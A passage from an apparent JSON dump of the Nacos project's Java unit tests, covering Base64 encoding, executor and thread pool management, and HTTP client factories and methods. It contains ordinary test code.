String(b2);\n        assertEquals(s1, \"dmVyeSBsYXJnZSBjaGFyYWN0ZXJzIHRvIHRlc3QgY2h1bmsgZW5jb2RpbmcgYW5kIHNlZSBpZiB0\"\n                + \"aGUgcmVzdWx0IGlzIGV4cGVjdGVkIG9yIG5vdA==\");\n        assertEquals(s2, \"dmVyeSBsYXJnZSBjaGFyYWN0ZXJzIHRvIHRlc3QgY2h1bmsgZW5jb2RpbmcgYW5kIHNlZSBpZiB0\" + \"\\r\\n\"\n                + \"aGUgcmVzdWx0IGlzIGV4cGVjdGVkIG9yIG5vdA==\" + \"\\r\\n\");\n        \n        byte[] c1 = Base64.decodeBase64(b1);\n        byte[] c2 = Base64.decodeBase64(b2);\n        String s3 = new String(c1);\n        String s4 = new String(c2);\n        assertEquals(a, s3);\n        assertEquals(a, s4);\n    }\n    \n    @Test\n    void testUrlSafe() {\n        String a = \"aa~aa?\";\n        byte[] b1 = Base64.encodeBase64(a.getBytes(StandardCharsets.UTF_8), false, false, Integer.MAX_VALUE);\n        byte[] b2 = Base64.encodeBase64(a.getBytes(StandardCharsets.UTF_8), false, true, Integer.MAX_VALUE);\n        String s1 = new String(b1);\n        String s2 = new String(b2);\n        assertEquals(\"YWF+YWE/\", s1);\n        assertEquals(\"YWF-YWE_\", s2);\n        \n        byte[] c1 = Base64.decodeBase64(b1);\n        byte[] c2 = Base64.decodeBase64(b2);\n        String s3 = new String(c1);\n        String s4 = new String(c2);\n        assertEquals(\"aa~aa?\", s3);\n        assertEquals(\"aa~aa?\", s4);\n    }\n    \n    @Test\n    void testEncodeOverMaxLength() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String a = \"very large characters to test chunk encoding and see if the result is expected or not\";\n            Base64.encodeBase64(a.getBytes(StandardCharsets.UTF_8), false, false, 10);\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/event/ServerConfigChangeEventTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.event;\n\nimport com.alibaba.nacos.common.notify.Event;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerConfigChangeEventTest {\n    \n    @Test\n    void test() {\n        Event event = ServerConfigChangeEvent.newEvent();\n        assertTrue(event instanceof ServerConfigChangeEvent);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/executor/ExecutorFactoryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ExecutorFactoryTest {\n    \n    private final NameThreadFactory threadFactory = new NameThreadFactory(\"test\");\n    \n    @Test\n    void test() {\n        ExecutorService executorService;\n        ThreadPoolExecutor threadPoolExecutor;\n        \n        executorService = ExecutorFactory.newSingleExecutorService();\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(1, threadPoolExecutor.getCorePoolSize());\n        assertEquals(1, threadPoolExecutor.getMaximumPoolSize());\n        assertNotEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        executorService = ExecutorFactory.newFixedExecutorService(10);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(10, threadPoolExecutor.getMaximumPoolSize());\n        assertNotEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        executorService = ExecutorFactory.newSingleExecutorService(threadFactory);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(1, threadPoolExecutor.getCorePoolSize());\n        assertEquals(1, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        executorService = ExecutorFactory.newFixedExecutorService(10, threadFactory);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(10, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        ScheduledThreadPoolExecutor scheduledThreadPoolExecutor;\n        \n        executorService = ExecutorFactory.newSingleScheduledExecutorService(threadFactory);\n        assertTrue(executorService instanceof ScheduledThreadPoolExecutor);\n        scheduledThreadPoolExecutor = (ScheduledThreadPoolExecutor) executorService;\n        assertEquals(1, scheduledThreadPoolExecutor.getCorePoolSize());\n        assertEquals(Integer.MAX_VALUE, scheduledThreadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        executorService = ExecutorFactory.newScheduledExecutorService(10, threadFactory);\n        assertTrue(executorService instanceof ScheduledThreadPoolExecutor);\n        scheduledThreadPoolExecutor = (ScheduledThreadPoolExecutor) executorService;\n        assertEquals(10, scheduledThreadPoolExecutor.getCorePoolSize());\n        assertEquals(Integer.MAX_VALUE, scheduledThreadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        \n        threadPoolExecutor = ExecutorFactory.newCustomerThreadExecutor(10, 20, 1000, threadFactory);\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(20, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n    }\n    \n    @Test\n    void testManaged() {\n        String testGroup = \"test\";\n        ExecutorService executorService;\n        ThreadPoolExecutor threadPoolExecutor;\n        ThreadPoolManager manager = ExecutorFactory.Managed.getThreadPoolManager();\n        final Map<String, Map<String, Set<ExecutorService>>> resourcesManager = manager.getResourcesManager();\n        \n        executorService = ExecutorFactory.Managed.newSingleExecutorService(testGroup);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(1, threadPoolExecutor.getCorePoolSize());\n        assertEquals(1, threadPoolExecutor.getMaximumPoolSize());\n        assertNotEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(1, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        executorService = ExecutorFactory.Managed.newFixedExecutorService(testGroup, 10);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(10, threadPoolExecutor.getMaximumPoolSize());\n        assertNotEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(2, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        executorService = ExecutorFactory.Managed.newSingleExecutorService(testGroup, threadFactory);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(1, threadPoolExecutor.getCorePoolSize());\n        assertEquals(1, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(3, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        executorService = ExecutorFactory.Managed.newFixedExecutorService(testGroup, 10, threadFactory);\n        assertTrue(executorService instanceof ThreadPoolExecutor);\n        threadPoolExecutor = (ThreadPoolExecutor) executorService;\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(10, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(4, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        ScheduledThreadPoolExecutor scheduledThreadPoolExecutor;\n        \n        executorService = ExecutorFactory.Managed.newSingleScheduledExecutorService(testGroup, threadFactory);\n        assertTrue(executorService instanceof ScheduledThreadPoolExecutor);\n        scheduledThreadPoolExecutor = (ScheduledThreadPoolExecutor) executorService;\n        assertEquals(1, scheduledThreadPoolExecutor.getCorePoolSize());\n        assertEquals(Integer.MAX_VALUE, scheduledThreadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(5, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        executorService = ExecutorFactory.Managed.newScheduledExecutorService(testGroup, 10, threadFactory);\n        assertTrue(executorService instanceof ScheduledThreadPoolExecutor);\n        scheduledThreadPoolExecutor = (ScheduledThreadPoolExecutor) executorService;\n        assertEquals(10, scheduledThreadPoolExecutor.getCorePoolSize());\n        assertEquals(Integer.MAX_VALUE, scheduledThreadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(6, resourcesManager.get(\"nacos\").get(testGroup).size());\n        \n        threadPoolExecutor = ExecutorFactory.Managed.newCustomerThreadExecutor(testGroup, 10, 20, 1000, threadFactory);\n        assertEquals(10, threadPoolExecutor.getCorePoolSize());\n        assertEquals(20, threadPoolExecutor.getMaximumPoolSize());\n        assertEquals(threadFactory, threadPoolExecutor.getThreadFactory());\n        assertEquals(7, resourcesManager.get(\"nacos\").get(testGroup).size());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/executor/NameThreadFactoryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NameThreadFactoryTest {\n    \n    @Test\n    void test() {\n        NameThreadFactory threadFactory = new NameThreadFactory(\"test\");\n        Thread t1 = threadFactory.newThread(() -> {\n        \n        });\n        Thread t2 = threadFactory.newThread(() -> {\n        \n        });\n        \n        assertEquals(\"test.0\", t1.getName());\n        assertEquals(\"test.1\", t2.getName());\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/executor/ThreadPoolManagerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.ExecutorService;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ThreadPoolManagerTest {\n    \n    @Test\n    void test() {\n        ThreadPoolManager manager = ThreadPoolManager.getInstance();\n        ExecutorService executor = ExecutorFactory.newSingleExecutorService();\n        String namespace = \"test\";\n        String group = \"test\";\n        \n        manager.register(namespace, group, executor);\n        assertTrue(manager.getResourcesManager().containsKey(namespace));\n        assertEquals(1, manager.getResourcesManager().get(namespace).get(group).size());\n        \n        manager.register(namespace, group, ExecutorFactory.newSingleExecutorService());\n        assertEquals(2, manager.getResourcesManager().get(namespace).get(group).size());\n        \n        manager.destroy(namespace, group);\n        assertFalse(manager.getResourcesManager().get(namespace).containsKey(group));\n        \n        manager.register(namespace, group, executor);\n        manager.destroy(namespace);\n        assertFalse(manager.getResourcesManager().containsKey(namespace));\n        \n        manager.register(namespace, group, executor);\n        manager.deregister(namespace, group, ExecutorFactory.newSingleExecutorService());\n        assertEquals(1, manager.getResourcesManager().get(namespace).get(group).size());\n        \n        manager.deregister(namespace, group, executor);\n        assertEquals(0, manager.getResourcesManager().get(namespace).get(group).size());\n        \n        manager.register(namespace, group, executor);\n        manager.deregister(namespace, group);\n        assertFalse(manager.getResourcesManager().get(namespace).containsKey(group));\n        \n        manager.register(namespace, group, executor);\n        manager.register(namespace, group, ExecutorFactory.newSingleExecutorService());\n        ThreadPoolManager.shutdown();\n        assertFalse(manager.getResourcesManager().containsKey(namespace));\n        \n        manager.destroy(namespace);\n        manager.destroy(namespace, group);\n        assertFalse(manager.getResourcesManager().containsKey(namespace));\n    }\n    \n    @Test\n    void testDestroyWithNull() {\n        ThreadPoolManager.getInstance().register(\"t\", \"g\", ExecutorFactory.newFixedExecutorService(1));\n        try {\n            ThreadPoolManager.getInstance().destroy(\"null\");\n            assertTrue(ThreadPoolManager.getInstance().getResourcesManager().containsKey(\"t\"));\n            ThreadPoolManager.getInstance().destroy(\"null\", \"g\");\n            assertTrue(ThreadPoolManager.getInstance().getResourcesManager().containsKey(\"t\"));\n        } finally {\n            ThreadPoolManager.getInstance().destroy(\"t\", \"g\");\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/AbstractApacheHttpClientFactoryTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.client.request.DefaultHttpClientRequest;\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractApacheHttpClientFactoryTest {\n    \n    @Mock\n    private Logger logger;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testCreateNacosRestTemplate() throws NoSuchFieldException, IllegalAccessException {\n        HttpClientFactory factory = new AbstractApacheHttpClientFactory() {\n            @Override\n            protected HttpClientConfig buildHttpClientConfig() {\n                return HttpClientConfig.builder().build();\n            }\n            \n            @Override\n            protected Logger assignLogger() {\n                return logger;\n            }\n        };\n        NacosRestTemplate template = factory.createNacosRestTemplate();\n        assertNotNull(template);\n        Field field = NacosRestTemplate.class.getDeclaredField(\"requestClient\");\n        field.setAccessible(true);\n        HttpClientRequest requestClient = (HttpClientRequest) field.get(template);\n        assertTrue(requestClient instanceof DefaultHttpClientRequest);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/AbstractHttpClientFactoryTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.tls.TlsSystemConfig;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractHttpClientFactoryTest {\n    \n    @Mock\n    private Logger logger;\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        TlsSystemConfig.tlsEnable = false;\n    }\n    \n    @Test\n    void testCreateNacosRestTemplateWithSsl() throws Exception {\n        TlsSystemConfig.tlsEnable = true;\n        HttpClientFactory httpClientFactory = new DefaultHttpClientFactory(logger);\n        NacosRestTemplate nacosRestTemplate = httpClientFactory.createNacosRestTemplate();\n        assertNotNull(nacosRestTemplate);\n    }\n    \n    @Test\n    void testCreateNacosAsyncRestTemplate() {\n        HttpClientFactory httpClientFactory = new AbstractHttpClientFactory() {\n            @Override\n            protected HttpClientConfig buildHttpClientConfig() {\n                return HttpClientConfig.builder().setMaxConnTotal(10).setMaxConnPerRoute(10).build();\n            }\n            \n            @Override\n            protected Logger assignLogger() {\n                return logger;\n            }\n        };\n        NacosAsyncRestTemplate nacosRestTemplate = httpClientFactory.createNacosAsyncRestTemplate();\n        assertNotNull(nacosRestTemplate);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/BaseHttpMethodTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass BaseHttpMethodTest {\n    \n    @Test\n    void testHttpGet() {\n        BaseHttpMethod method = BaseHttpMethod.GET;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"GET\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpGetLarge() {\n        BaseHttpMethod method = BaseHttpMethod.GET_LARGE;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"GET\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpPost() {\n        BaseHttpMethod method = BaseHttpMethod.POST;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"POST\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpPut() {\n        BaseHttpMethod method = BaseHttpMethod.PUT;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"PUT\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpDelete() {\n        BaseHttpMethod method = BaseHttpMethod.DELETE;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"DELETE\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpDeleteLarge() {\n        BaseHttpMethod method = BaseHttpMethod.DELETE_LARGE;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"DELETE\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpHead() {\n        BaseHttpMethod method = BaseHttpMethod.HEAD;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"HEAD\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpTrace() {\n        BaseHttpMethod method = BaseHttpMethod.TRACE;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"TRACE\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpPatch() {\n        BaseHttpMethod method = BaseHttpMethod.PATCH;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"PATCH\", request.getMethod());\n    }\n    \n    @Test\n    void testHttpOptions() {\n        BaseHttpMethod method = BaseHttpMethod.OPTIONS;\n        HttpUriRequestBase request = method.init(\"http://example.com\");\n        assertEquals(\"TRACE\", request.getMethod());\n    }\n    \n    @Test\n    void testSourceOf() {\n        BaseHttpMethod method = BaseHttpMethod.sourceOf(\"GET\");\n        assertEquals(BaseHttpMethod.GET, method);\n    }\n    \n    @Test\n    void testSourceOfNotFound() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            BaseHttpMethod.sourceOf(\"Not Found\");\n        });\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/HttpClientBeanHolderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\nimport org.slf4j.Logger;\n\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass HttpClientBeanHolderTest {\n    \n    private Map<String, NacosRestTemplate> cachedRestTemplateMap;\n    \n    private Map<String, NacosRestTemplate> restMap;\n    \n    private Map<String, NacosAsyncRestTemplate> cachedAsyncRestTemplateMap;\n    \n    private Map<String, NacosAsyncRestTemplate> restAsyncMap;\n    \n    @Mock\n    private NacosRestTemplate mockRestTemplate;\n    \n    @Mock\n    private NacosAsyncRestTemplate mockAsyncRestTemplate;\n    \n    @Mock\n    private HttpClientFactory mockFactory;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        cachedRestTemplateMap = new HashMap<>();\n        cachedAsyncRestTemplateMap = new HashMap<>();\n        restMap = (Map<String, NacosRestTemplate>) getCachedMap(\"SINGLETON_REST\");\n        restAsyncMap = (Map<String, NacosAsyncRestTemplate>) getCachedMap(\"SINGLETON_ASYNC_REST\");\n        cachedRestTemplateMap.putAll(restMap);\n        cachedAsyncRestTemplateMap.putAll(restAsyncMap);\n        restMap.clear();\n        restAsyncMap.clear();\n        when(mockFactory.createNacosRestTemplate()).thenReturn(mockRestTemplate);\n        when(mockFactory.createNacosAsyncRestTemplate()).thenReturn(mockAsyncRestTemplate);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        restMap.putAll(cachedRestTemplateMap);\n        restAsyncMap.putAll(cachedAsyncRestTemplateMap);\n        cachedRestTemplateMap.clear();\n        cachedAsyncRestTemplateMap.clear();\n    }\n    \n    private Object getCachedMap(String mapName) throws NoSuchFieldException, IllegalAccessException {\n        Field field = HttpClientBeanHolder.class.getDeclaredField(mapName);\n        field.setAccessible(true);\n        return field.get(HttpClientBeanHolder.class);\n    }\n    \n    @Test\n    void testGetNacosRestTemplateWithDefault() {\n        assertTrue(restMap.isEmpty());\n        NacosRestTemplate actual = HttpClientBeanHolder.getNacosRestTemplate((Logger) null);\n        assertEquals(1, restMap.size());\n        NacosRestTemplate duplicateGet = HttpClientBeanHolder.getNacosRestTemplate((Logger) null);\n        assertEquals(1, restMap.size());\n        assertEquals(actual, duplicateGet);\n    }\n    \n    @Test\n    void testGetNacosRestTemplateForNullFactory() {\n        assertThrows(NullPointerException.class, () -> {\n            HttpClientBeanHolder.getNacosRestTemplate((HttpClientFactory) null);\n        });\n    }\n    \n    @Test\n    void testGetNacosRestTemplateWithCustomFactory() {\n        assertTrue(restMap.isEmpty());\n        HttpClientBeanHolder.getNacosRestTemplate((Logger) null);\n        assertEquals(1, restMap.size());\n        NacosRestTemplate actual = HttpClientBeanHolder.getNacosRestTemplate(mockFactory);\n        assertEquals(2, restMap.size());\n        assertEquals(mockRestTemplate, actual);\n    }\n    \n    @Test\n    void testGetNacosAsyncRestTemplateWithDefault() {\n        assertTrue(restAsyncMap.isEmpty());\n        NacosAsyncRestTemplate actual = HttpClientBeanHolder.getNacosAsyncRestTemplate((Logger) null);\n        assertEquals(1, restAsyncMap.size());\n        NacosAsyncRestTemplate duplicateGet = HttpClientBeanHolder.getNacosAsyncRestTemplate((Logger) null);\n        assertEquals(1, restAsyncMap.size());\n        assertEquals(actual, duplicateGet);\n    }\n    \n    @Test\n    void testGetNacosAsyncRestTemplateForNullFactory() {\n        assertThrows(NullPointerException.class, () -> {\n            HttpClientBeanHolder.getNacosAsyncRestTemplate((HttpClientFactory) null);\n        });\n    }\n    \n    @Test\n    void testGetNacosAsyncRestTemplateWithCustomFactory() {\n        assertTrue(restAsyncMap.isEmpty());\n        HttpClientBeanHolder.getNacosAsyncRestTemplate((Logger) null);\n        assertEquals(1, restAsyncMap.size());\n        NacosAsyncRestTemplate actual = HttpClientBeanHolder.getNacosAsyncRestTemplate(mockFactory);\n        assertEquals(2, restAsyncMap.size());\n        assertEquals(mockAsyncRestTemplate, actual);\n    }\n    \n    @Test\n    void shutdown() throws Exception {\n        HttpClientBeanHolder.getNacosRestTemplate((Logger) null);\n        HttpClientBeanHolder.getNacosAsyncRestTemplate((Logger) null);\n        assertEquals(1, restMap.size());\n        assertEquals(1, restAsyncMap.size());\n        HttpClientBeanHolder.shutdown(DefaultHttpClientFactory.class.getName());\n        assertEquals(0, restMap.size());\n        assertEquals(0, restAsyncMap.size());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/HttpClientConfigTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\nclass HttpClientConfigTest {\n    \n    @Test\n    void testGetConTimeOutMillis() {\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        assertEquals(1000, config.getConTimeOutMillis());\n    }\n    \n    @Test\n    void testGetReadTimeOutMillis() {\n        HttpClientConfig config = HttpClientConfig.builder().setReadTimeOutMillis(2000).build();\n        assertEquals(2000, config.getReadTimeOutMillis());\n    }\n    \n    @Test\n    void testGetConnTimeToLive() {\n        HttpClientConfig config = HttpClientConfig.builder().setConnectionTimeToLive(3000, TimeUnit.MILLISECONDS).build();\n        assertEquals(3000, config.getConnTimeToLive());\n    }\n    \n    @Test\n    void testGetConnTimeToLiveTimeUnit() {\n        HttpClientConfig config = 